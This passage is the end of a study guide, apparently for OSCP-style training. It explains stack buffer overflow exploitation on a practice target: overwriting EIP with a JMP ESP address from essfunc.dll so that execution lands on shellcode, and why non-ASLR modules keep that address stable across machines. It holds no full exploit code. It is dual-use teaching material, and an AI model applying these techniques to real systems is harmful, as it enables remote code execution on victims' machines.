* `retn` **becomes EIP**
* Then ESP points to `padding + payload`

So if you make EIP = a `jmp esp` address…

> You land directly on your shellcode.

## `[6]` What is a "jump point"?

A “jump point” is:

* An address in memory (like `0x625011af`)
* Inside a loaded module (like `essfunc.dll`)
* That contains the instruction:

```instruction
JMP ESP
```

So when the CPU sees:

```address
EIP = 0x625011af
```

It jumps to wherever ESP is pointing — your shellcode.

## `[7]` Why not jump straight to the shellcode address?

Because:

* You usually **don’t know the exact memory address** of your shellcode.
* Memory layout can vary between runs (especially with ASLR)
* ESP is **predictable and reliable**
* So `JMP ESP` is a **universal bridge** between EIP and your payload

## `[8]` 🔧 In `exploit.py`, what is `retn`?

`retn` is short for **“return address”**, and in the context of **buffer overflows**, it’s the **4-byte value** that will overwrite the **EIP** (instruction pointer) — which tells the CPU where to go next.

## `[BONUS]` How can multiple JMP ESP addresses work if there’s only one ESP (top of the stack)?

**Each JMP ESP instruction lives at a different memory address in different loaded modules, but all do the same thing: jump to wherever ESP points at runtime. You pick ONE good address (no badchars, stable, from a non-ASLR module), and place it in EIP. When executed, it redirects execution to the current top of the stack — where you’ve carefully placed your shellcode.**

**ESP is only one value at crash time. All JMP ESPs just redirect to it. You’re not jumping “to the JMP ESP,” you’re using the JMP ESP as a tool to jump to ESP.**

## `[BONUS 2]`: How can `JMP ESP` addresses work across different machines running the same vulnerable app?

🧠 **Answer:**

**In most OSCP boxes and real-world exploits, the key is that many DLLs or executables are compiled without ASLR (Address Space Layout Randomization) and without rebasing.**

**When ASLR is disabled, the module always loads at the same memory address, meaning:**

> A `JMP ESP` found at `0x625011AF` on your local machine will **also exist at the same address** on the remote victim.

***

## I hope you enjoy this guide as much as I enjoy writing it. Have a good day!
